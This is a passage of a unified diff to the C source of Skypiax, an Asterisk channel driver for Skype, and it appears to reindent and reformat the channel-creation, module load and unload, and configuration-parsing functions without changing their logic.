+ DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
- /* fd for the channel to poll for incoming audio */
- tmp->fds[0] = p->skypiax_sound_capt_fd;
+ /* fd for the channel to poll for incoming audio */
+ tmp->fds[0] = p->skypiax_sound_capt_fd;
- /* audio formats managed */
- tmp->nativeformats = AST_FORMAT_SLINEAR;
- tmp->readformat = AST_FORMAT_SLINEAR;
- tmp->writeformat = AST_FORMAT_SLINEAR;
- /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
- tmp->tech = &skypiax_tech;
- /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
- tmp->tech_pvt = p;
+ /* audio formats managed */
+ tmp->nativeformats = AST_FORMAT_SLINEAR;
+ tmp->readformat = AST_FORMAT_SLINEAR;
+ tmp->writeformat = AST_FORMAT_SLINEAR;
+ /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
+ tmp->tech = &skypiax_tech;
+ /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
+ tmp->tech_pvt = p;
- /* copy this interface default context, extension, language to the newly created channel */
- if (strlen(p->context))
- strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
- if (strlen(p->exten))
- strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
+ /* copy this interface default context, extension, language to the newly created channel */
+ if (strlen(p->context))
+ strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
+ if (strlen(p->exten))
+ strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
#ifndef ASTERISK_VERSION_1_4
- if (strlen(p->language))
- strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
+ if (strlen(p->language))
+ strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
#else
- if (strlen(p->language))
- ast_string_field_set(tmp, language, p->language);
+ if (strlen(p->language))
+ ast_string_field_set(tmp, language, p->language);
#endif /* ASTERISK_VERSION_1_4 */
- /* copy the requested context (not necessarily the interface default) to the newly created channel */
- if (strlen(context))
- strncpy(tmp->context, context, sizeof(tmp->context) - 1);
+ /* copy the requested context (not necessarily the interface default) to the newly created channel */
+ if (strlen(context))
+ strncpy(tmp->context, context, sizeof(tmp->context) - 1);
- /* copy this interface default callerid in the newly created channel */
- ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
- !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL,
- !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
+ /* copy this interface default callerid in the newly created channel */
+ ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
+ !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
- DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number,
- p->callid_name);
+ DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number, p->callid_name);
- /* the owner of this interface pvt is the newly created channel */
- p->owner = tmp;
- /* set the newly created channel state to the requested state */
- if (ast_setstate(tmp, state)) {
- ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
- //ast_dsp_free(p->dsp);
- ast_channel_free(tmp);
- return NULL;
- }
- /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
- if (state != SKYPIAX_STATE_DOWN) {
- DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
- if (ast_pbx_start(tmp)) {
- ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
- ast_channel_free(tmp);
- return NULL;
- }
- }
- /* let's start the serial monitoring thread too, so we can have serial signaling */
- if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) <
- 0) {
- ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
- ast_channel_free(tmp);
- tmp = NULL;
- }
- DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
- (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
+ /* the owner of this interface pvt is the newly created channel */
+ p->owner = tmp;
+ /* set the newly created channel state to the requested state */
+ if (ast_setstate(tmp, state)) {
+ ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+ //ast_dsp_free(p->dsp);
+ ast_channel_free(tmp);
+ return NULL;
+ }
+ /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
+ if (state != SKYPIAX_STATE_DOWN) {
+ DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
+ if (ast_pbx_start(tmp)) {
+ ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
+ ast_channel_free(tmp);
+ return NULL;
+ }
+ }
+ /* let's start the serial monitoring thread too, so we can have serial signaling */
+ if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) < 0) {
+ ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
+ ast_channel_free(tmp);
+ tmp = NULL;
+ }
+ DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
+ (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
- /* add one to the usage count of Skypiax-type channels */
- LOKKA(&skypiax_usecnt_lock);
- skypiax_usecnt++;
- UNLOCKA(&skypiax_usecnt_lock);
- ast_update_use_count();
+ /* add one to the usage count of Skypiax-type channels */
+ LOKKA(&skypiax_usecnt_lock);
+ skypiax_usecnt++;
+ UNLOCKA(&skypiax_usecnt_lock);
+ ast_update_use_count();
- /* return the newly created channel */
- return tmp;
- }
- ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
- return NULL;
+ /* return the newly created channel */
+ return tmp;
+ }
+ ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
+ return NULL;
}
/*!
@@ -824,108 +798,103 @@
*/
int load_module(void)
{
- int i;
- struct ast_config *cfg;
- struct skypiax_pvt *tmp;
- struct skypiax_pvt *p = NULL;
- struct skypiax_pvt *p2 = NULL;
+ int i;
+ struct ast_config *cfg;
+ struct skypiax_pvt *tmp;
+ struct skypiax_pvt *p = NULL;
+ struct skypiax_pvt *p2 = NULL;
#ifdef ASTERISK_VERSION_1_6
- struct ast_flags config_flags = { 0 };
+ struct ast_flags config_flags = { 0 };
#endif /* ASTERISK_VERSION_1_6 */
#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
#ifndef __CYGWIN__
- if (!XInitThreads())
- ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
+ if (!XInitThreads())
+ ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
#endif /* __CYGWIN__ */
#if 0
- ast_register_atexit(skypiax_disconnect);
- ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis,
- skype2skypiaxdescrip);
- ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis,
- skypiax2skypedescrip);
+ ast_register_atexit(skypiax_disconnect);
+ ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis, skype2skypiaxdescrip);
+ ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis, skypiax2skypedescrip);
#endif
#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
- /* make sure we can register our channel type with Asterisk */
- i = ast_channel_register(&skypiax_tech);
- if (i < 0) {
- ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
- return -1;
- }
- /* load skypiax.conf config file */
+ /* make sure we can register our channel type with Asterisk */
+ i = ast_channel_register(&skypiax_tech);
+ if (i < 0) {
+ ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
+ return -1;
+ }
+ /* load skypiax.conf config file */
#ifdef ASTERISK_VERSION_1_6
- cfg = ast_config_load(skypiax_config, config_flags);
+ cfg = ast_config_load(skypiax_config, config_flags);
#else
- cfg = ast_config_load(skypiax_config);
+ cfg = ast_config_load(skypiax_config);
#endif /* ASTERISK_VERSION_1_6 */
- if (cfg != NULL) {
- char *ctg = NULL;
- int is_first_category = 1;
- while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
- /* create one interface for each category in skypiax.conf config file, first one set the defaults */
- tmp = skypiax_mkif(cfg, ctg, is_first_category);
- if (tmp) {
- DEBUGA_PBX
- ("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'"
- "\n", SKYPIAX_P_LOG, ctg, tmp->name);
- /* add interface to skypiax_iflist */
- tmp->next = skypiax_iflist;
- skypiax_iflist = tmp;
- /* next one will not be the first ;) */
- if (is_first_category == 1) {
- is_first_category = 0;
- skypiax_console_active = tmp->name;
- }
- } else {
- ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n",
- SKYPIAX_P_LOG, ctg);
- /* if error, unload config from memory and return */
- ast_config_destroy(cfg);
- ast_channel_unregister(&skypiax_tech);
- return -1;
- }
- /* do it for each category described in config */
- }
+ if (cfg != NULL) {
+ char *ctg = NULL;
+ int is_first_category = 1;
+ while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
+ /* create one interface for each category in skypiax.conf config file, first one set the defaults */
+ tmp = skypiax_mkif(cfg, ctg, is_first_category);
+ if (tmp) {
+ DEBUGA_PBX("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'" "\n", SKYPIAX_P_LOG, ctg, tmp->name);
+ /* add interface to skypiax_iflist */
+ tmp->next = skypiax_iflist;
+ skypiax_iflist = tmp;
+ /* next one will not be the first ;) */
+ if (is_first_category == 1) {
+ is_first_category = 0;
+ skypiax_console_active = tmp->name;
+ }
+ } else {
+ ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n", SKYPIAX_P_LOG, ctg);
+ /* if error, unload config from memory and return */
+ ast_config_destroy(cfg);
+ ast_channel_unregister(&skypiax_tech);
+ return -1;
+ }
+ /* do it for each category described in config */
+ }
- /* we finished, unload config from memory */
- ast_config_destroy(cfg);
- } else {
- ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
- ast_channel_unregister(&skypiax_tech);
- return -1;
- }
+ /* we finished, unload config from memory */
+ ast_config_destroy(cfg);
+ } else {
+ ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
+ ast_channel_unregister(&skypiax_tech);
+ return -1;
+ }
#ifndef ASTERISK_VERSION_1_6
- ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
+ ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
#endif /* ASTERISK_VERSION_1_6 */
- /* start to monitor the interfaces (skypiax_iflist) for the first time */
- if (skypiax_restart_monitor()) {
- ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
- /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
- p = skypiax_iflist;
- while (p) {
- int i;
- /* for each interface in list */
- p2 = p->next;
- NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
- i = 0;
- while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) { // 60sec FIXME
- usleep(1000);
- i++;
- }
- if (p->SkypiaxHandles.api_connected) {
- NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
- } else {
- ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
- running = 0;
- return -1;
- }
- /* next one, please */
- p = p2;
- }
- return 0;
+ /* start to monitor the interfaces (skypiax_iflist) for the first time */
+ if (skypiax_restart_monitor()) {
+ ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+ return -1;
+ }
+ /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
+ p = skypiax_iflist;
+ while (p) {
+ int i;
+ /* for each interface in list */
+ p2 = p->next;
+ NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
+ i = 0;
+ while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) { // 60sec FIXME
+ usleep(1000);
+ i++;
+ }
+ if (p->SkypiaxHandles.api_connected) {
+ NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
+ } else {
+ ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
+ running = 0;
+ return -1;
+ }
+ /* next one, please */
+ p = p2;
+ }
+ return 0;
}
/*!
@@ -940,94 +909,94 @@
*/
int unload_module(void)
{
- struct skypiax_pvt *p = NULL, *p2 = NULL;
- int res;
+ struct skypiax_pvt *p = NULL, *p2 = NULL;
+ int res;
- /* unregister our channel type with Asterisk */
- ast_channel_unregister(&skypiax_tech);
- ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
+ /* unregister our channel type with Asterisk */
+ ast_channel_unregister(&skypiax_tech);
+ ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
#ifndef __CYGWIN__
- //FIXME what to do? if (!XInitThreads())
- //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
+ //FIXME what to do? if (!XInitThreads())
+ //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
#endif /* __CYGWIN__ */
#if 0
- ast_unregister_atexit(skypiax_disconnect);
- ast_unregister_application(skype2skypiaxapp);
- ast_unregister_application(skypiax2skypeapp);
+ ast_unregister_atexit(skypiax_disconnect);
+ ast_unregister_application(skype2skypiaxapp);
+ ast_unregister_application(skypiax2skypeapp);
#endif
#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
- /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
- LOKKA(&skypiax_monlock);
- if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
- && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
- if (pthread_cancel(skypiax_monitor_thread)) {
- ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
- if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
- DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG); //maybe it just died
- }
-#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
- if (pthread_join(skypiax_monitor_thread, NULL)) {
- ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
+ /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
+ LOKKA(&skypiax_monlock);
+ if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
+ && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
+ if (pthread_cancel(skypiax_monitor_thread)) {
+ ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
+ return -1;
+ }
+ if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
+ DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG); //maybe it just died
+ }
+#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
+ if (pthread_join(skypiax_monitor_thread, NULL)) {
+ ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+ return -1;
+ }
#endif /* __CYGWIN__ */
- }
- skypiax_monitor_thread = AST_PTHREADT_STOP;
- UNLOCKA(&skypiax_monlock);
+ }
+ skypiax_monitor_thread = AST_PTHREADT_STOP;
+ UNLOCKA(&skypiax_monlock);
- if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
- && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
+ if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
+ && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
- if (pthread_cancel(skypiax_monitor_audio_thread)) {
- ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
- }
- if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
- DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG); //maybe it just died
- }
+ if (pthread_cancel(skypiax_monitor_audio_thread)) {
+ ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
+ }
+ if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
+ DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG); //maybe it just died
+ }
- if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
- ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- }
- }
- /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
- LOKKA(&skypiax_iflock);
- p = skypiax_iflist;
- while (p) {
- /* for each interface in list */
- p2 = p->next;
- /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
- DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
- res = skypiax_sound_shutdown(p);
- if (res == -1) {
- ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
- }
+ if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
+ ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+ }
+ }
+ /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
+ LOKKA(&skypiax_iflock);
+ p = skypiax_iflist;
+ while (p) {
+ /* for each interface in list */
+ p2 = p->next;
+ /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
+ DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
+ res = skypiax_sound_shutdown(p);
+ if (res == -1) {
+ ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
+ }
#if 0
- /* if a dsp struct has been allocated, free it */
- if (p->dsp) {
- ast_dsp_free(p->dsp);
- p->dsp = NULL;
- }
+ /* if a dsp struct has been allocated, free it */
+ if (p->dsp) {
+ ast_dsp_free(p->dsp);
+ p->dsp = NULL;
+ }
#endif
- DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
- /* free the pvt allocated memory */
- free(p);
- /* next one, please */
- p = p2;
- }
- /* finished with the interfaces list, unlock the skypiax_iflock */
- UNLOCKA(&skypiax_iflock);
+ DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
+ /* free the pvt allocated memory */
+ free(p);
+ /* next one, please */
+ p = p2;
+ }
+ /* finished with the interfaces list, unlock the skypiax_iflock */
+ UNLOCKA(&skypiax_iflock);
#ifdef __CYGWIN__
- NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
- sleep(5); /* without this pause, for some unknown (to me) reason it crashes on cygwin */
+ NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
+ sleep(5); /* without this pause, for some unknown (to me) reason it crashes on cygwin */
#endif /* __CYGWIN__ */
- NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
- return 0;
+ NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
+ return 0;
}
/*!
@@ -1037,16 +1006,16 @@
*/
int usecount()
{
- int res;
- static struct skypiax_pvt *p = &skypiax_log_struct;
+ int res;
+ static struct skypiax_pvt *p = &skypiax_log_struct;
/* lock the skypiax_usecnt lock */
- LOKKA(&skypiax_usecnt_lock);
- /* retrieve the skypiax_usecnt */
- res = skypiax_usecnt;
+ LOKKA(&skypiax_usecnt_lock);
+ /* retrieve the skypiax_usecnt */
+ res = skypiax_usecnt;
/* unlock the skypiax_usecnt lock */
- UNLOCKA(&skypiax_usecnt_lock);
- /* return the skypiax_usecnt */
- return res;
+ UNLOCKA(&skypiax_usecnt_lock);
+ /* return the skypiax_usecnt */
+ return res;
}
/*!
@@ -1056,7 +1025,7 @@
*/
char *description()
{
- return (char *) skypiax_desc;
+ return (char *) skypiax_desc;
}
/*!
@@ -1066,11 +1035,11 @@
*/
char *key()
{
- struct skypiax_pvt *p = NULL;
+ struct skypiax_pvt *p = NULL;
- NOTICA("Returning Key\n", SKYPIAX_P_LOG);
+ NOTICA("Returning Key\n", SKYPIAX_P_LOG);
- return ASTERISK_GPL_KEY;
+ return ASTERISK_GPL_KEY;
}
/*!
@@ -1085,321 +1054,313 @@
*/
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category)
{
- struct skypiax_pvt *tmp;
- struct ast_variable *v;
- int res;
+ struct skypiax_pvt *tmp;
+ struct ast_variable *v;
+ int res;
- int debug_all = 0;
- int debug_at = 0;
- int debug_fbus2 = 0;
- int debug_serial = 0;
- int debug_sound = 0;
- int debug_pbx = 0;
- int debug_skype = 0;
- int debug_call = 0;
- int debug_locks = 0;
- int debug_monitorlocks = 0;
+ int debug_all = 0;
+ int debug_at = 0;
+ int debug_fbus2 = 0;
+ int debug_serial = 0;
+ int debug_sound = 0;
+ int debug_pbx = 0;
+ int debug_skype = 0;
+ int debug_call = 0;
+ int debug_locks = 0;
+ int debug_monitorlocks = 0;
- ast_log(LOG_DEBUG, "ENTERING FUNC\n");
- /* alloc memory for PVT */
- tmp = malloc(sizeof(struct skypiax_pvt));
- if (tmp == NULL) { /* fail */
- return NULL;
- }
- /* clear memory for PVT */
- memset(tmp, 0, sizeof(struct skypiax_pvt));
+ ast_log(LOG_DEBUG, "ENTERING FUNC\n");
+ /* alloc memory for PVT */
+ tmp = malloc(sizeof(struct skypiax_pvt));
+ if (tmp == NULL) { /* fail */
+ return NULL;
+ }
+ /* clear memory for PVT */
+ memset(tmp, 0, sizeof(struct skypiax_pvt));
- /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
- if (is_first_category == 1) {
- /* for each variable in category, copy it in the skypiax_default struct */
- for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
- M_START(v->name, v->value);
+ /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
+ if (is_first_category == 1) {
+ /* for each variable in category, copy it in the skypiax_default struct */
+ for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+ M_START(v->name, v->value);
- M_STR("context", skypiax_default.context)
- M_STR("language", skypiax_default.language)
- M_STR("extension", skypiax_default.exten)
- M_F("playback_boost",
- skypiax_store_boost(v->value, &skypiax_default.playback_boost))
- M_F("capture_boost",
- skypiax_store_boost(v->value, &skypiax_default.capture_boost))
- M_UINT("skypiax_dir_entry_extension_prefix",
- skypiax_default.skypiax_dir_entry_extension_prefix)
- M_END(;);
- }
- }
+ M_STR("context", skypiax_default.context)
+ M_STR("language", skypiax_default.language)
+ M_STR("extension", skypiax_default.exten)
+ M_F("playback_boost", skypiax_store_boost(v->value, &skypiax_default.playback_boost))
+ M_F("capture_boost", skypiax_store_boost(v->value, &skypiax_default.capture_boost))
+ M_UINT("skypiax_dir_entry_extension_prefix", skypiax_default.skypiax_dir_entry_extension_prefix)
+ M_END(;
+ );
+ }
+ }
- /* initialize the newly created PVT from the skypiax_default values */
- *tmp = skypiax_default;
+ /* initialize the newly created PVT from the skypiax_default values */
+ *tmp = skypiax_default;
- /* the category name becomes the interface name */
- tmp->name = strdup(ctg);
+ /* the category name becomes the interface name */
+ tmp->name = strdup(ctg);
- /* for each category in config file, "first" included, read in ALL the values */
- for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
- M_START(v->name, v->value);
+ /* for each category in config file, "first" included, read in ALL the values */
+ for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+ M_START(v->name, v->value);
- M_BOOL("debug_all", debug_all)
- M_BOOL("debug_at", debug_at)
- M_BOOL("debug_fbus2", debug_fbus2)
- M_BOOL("debug_serial", debug_serial)
- M_BOOL("debug_sound", debug_sound)
- M_BOOL("debug_pbx", debug_pbx)
- M_BOOL("debug_skype", debug_skype)
- M_BOOL("debug_call", debug_call)
- M_BOOL("debug_locks", debug_locks)
- M_BOOL("debug_monitorlocks", debug_monitorlocks)
- M_BOOL("skype", tmp->skype)
- M_STR("context", tmp->context)
- M_STR("language", tmp->language)
- M_STR("extension", tmp->exten)
- M_STR("X11_display", tmp->X11_display)
- M_UINT("tcp_cli_port", tmp->tcp_cli_port)
- M_UINT("tcp_srv_port", tmp->tcp_srv_port)
- M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
- M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
- M_STR("skype_user", tmp->skype_user)
- M_UINT("skypiax_dir_entry_extension_prefix",
- tmp->skypiax_dir_entry_extension_prefix)
- M_END(;);
- }
+ M_BOOL("debug_all", debug_all)
+ M_BOOL("debug_at", debug_at)
+ M_BOOL("debug_fbus2", debug_fbus2)
+ M_BOOL("debug_serial", debug_serial)
+ M_BOOL("debug_sound", debug_sound)
+ M_BOOL("debug_pbx", debug_pbx)
+ M_BOOL("debug_skype", debug_skype)
+ M_BOOL("debug_call", debug_call)
+ M_BOOL("debug_locks", debug_locks)
+ M_BOOL("debug_monitorlocks", debug_monitorlocks)
+ M_BOOL("skype", tmp->skype)
+ M_STR("context", tmp->context)
+ M_STR("language", tmp->language)
+ M_STR("extension", tmp->exten)
+ M_STR("X11_display", tmp->X11_display)
+ M_UINT("tcp_cli_port", tmp->tcp_cli_port)
+ M_UINT("tcp_srv_port", tmp->tcp_srv_port)
+ M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
+ M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
+ M_STR("skype_user", tmp->skype_user)
+ M_UINT("skypiax_dir_entry_extension_prefix", tmp->skypiax_dir_entry_extension_prefix)
+ M_END(;
+ );
+ }
- if (debug_all) {
- skypiax_debug = skypiax_debug | DEBUG_ALL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_all) {
+ skypiax_debug = skypiax_debug | DEBUG_ALL;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_fbus2) {
- skypiax_debug = skypiax_debug | DEBUG_FBUS2;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_fbus2) {
+ skypiax_debug = skypiax_debug | DEBUG_FBUS2;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_serial) {
- skypiax_debug = skypiax_debug | DEBUG_SERIAL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_serial) {
+ skypiax_debug = skypiax_debug | DEBUG_SERIAL;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_sound) {
- skypiax_debug = skypiax_debug | DEBUG_SOUND;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_sound) {
+ skypiax_debug = skypiax_debug | DEBUG_SOUND;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
